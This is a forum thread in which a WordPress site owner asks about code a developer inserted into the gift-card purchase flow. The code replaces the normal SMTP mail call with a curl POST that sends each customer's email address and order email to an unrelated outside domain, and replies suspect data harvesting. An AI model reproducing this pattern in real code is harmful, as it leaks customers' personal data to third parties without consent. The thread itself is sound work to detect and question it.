Suspicious change to our code

Hi everyone,

I wonder if any of you can help me figure something out. We have an events website where people can book to attend live events or buy gift cards. Either way, once the purchase is complete, they receive an email confirmation. For the past week or so, with gift card purchases only, customers haven’t been receiving their mail.

It’s a problem that we’ve had before, although explanations and fixes by our developer have always been vague and, frankly, a little puzzling. For instance, we use the WP Mail SMTP plugin, but were told last time that the SMTP was not working for the gift card flow and that [the developer] had added an additional plug in to fix this. I pressed for more information but never got it.

Now, I’m no developer, but I know my way around Wordpress and have some basic knowledge of php. Enough that I can take a look and follow the flow. At the time I couldn’t find an additional plug in anywhere, or anywhere the the code had been altered to fix the problem.

With this more recent occurrence I decided to investigate, comparing old code to current code.

The original code, that I’ve compared from a backup, a couple of months old, looks like this (and comes immediately after the code that defines the email content itself):

$from = "[email protected]";
		$to = $udata->user_email;
		$subject = "You have booked a Gift Card";
		$body = $html;
		$name = 'Our Company Name';

smtpmailer($to,$from, $name ,$subject, $body);

}

 In the current code, I found this insert instead:

$from = "[email protected]";
		$to = $udata->user_email;
		$subject = "You have booked a Gift Card";
		$body = $html;
		$name = 'Our Company Name';

		//smtpmailer($to,$from, $name ,$subject, $body);
		
		
			$url = "http://bigbobsmeats.ca/mail_service/mail.php";
	$data = array(
	  'html' => $body,
	  'toemail' => $to,
	  'fromemail' => '[email protected]',
	  'subject' => $subject,
	);
	
	$curl = curl_init($url);
	curl_setopt($curl, CURLOPT_HEADER, false);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_POST, true);
	curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
	
	$t_success = curl_exec($curl);
	
	$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
	
	curl_close($curl);

}

Now, I must stress that bigbobsmeats.ca is not our company and not our mail server. I’ve never heard of them before and they appear to be a butchers based in Canada (we’re in the UK). I know $curl has many legitimate uses, but can anyone tell what this piece of code might be doing or why it might be necessary?

Or is it something more malicious?

Any insight would be greatly appreciated and, of course, do let me know if you need any other information to make sense of it.

Thank you in advance.

Kit

It would appear that the previous dev has set up a “mail service” at another domain, which your site is sending data to. Now there may be reasons for this but there are definitely better ways to solve any issues with mails not going out from your own server. Instead of relying on passing your data on to some other companies server/site he could have (should have) either fixed the issues - or relayed the data through a professional email service (ie mailgun).

I’d strongly suggest rewriting this to use ie mailgun that offers 10k emails free each month (+). That way your service is not relying on the grace of the email gods blessing your server, some other random companies domain, all the while keeping your data within your control.

Thanks, JimL. I’ll definitely look into that.

The moment I saw it, even if there was a legitimate reason for it being there, I knew it couldn’t be the best way of doing things.

Thanks for your help.

+10 for mailgun, I use it entirely, including for mail coming from my server itself.

That is highly unusual, and an easy way for someone to be logging your users and possibly stealing information. I hesitate to make that claim, but it is still in my head. If you are going to use a service, use a real one, not bob’s burgers for that purpose.

Further update…

My company wont even let me see the site due to security concerns,

You have accessed a site that IS has categorized as Malicious Sources/Malnets .

Sponsor our Newsletter | Privacy Policy | Terms of Service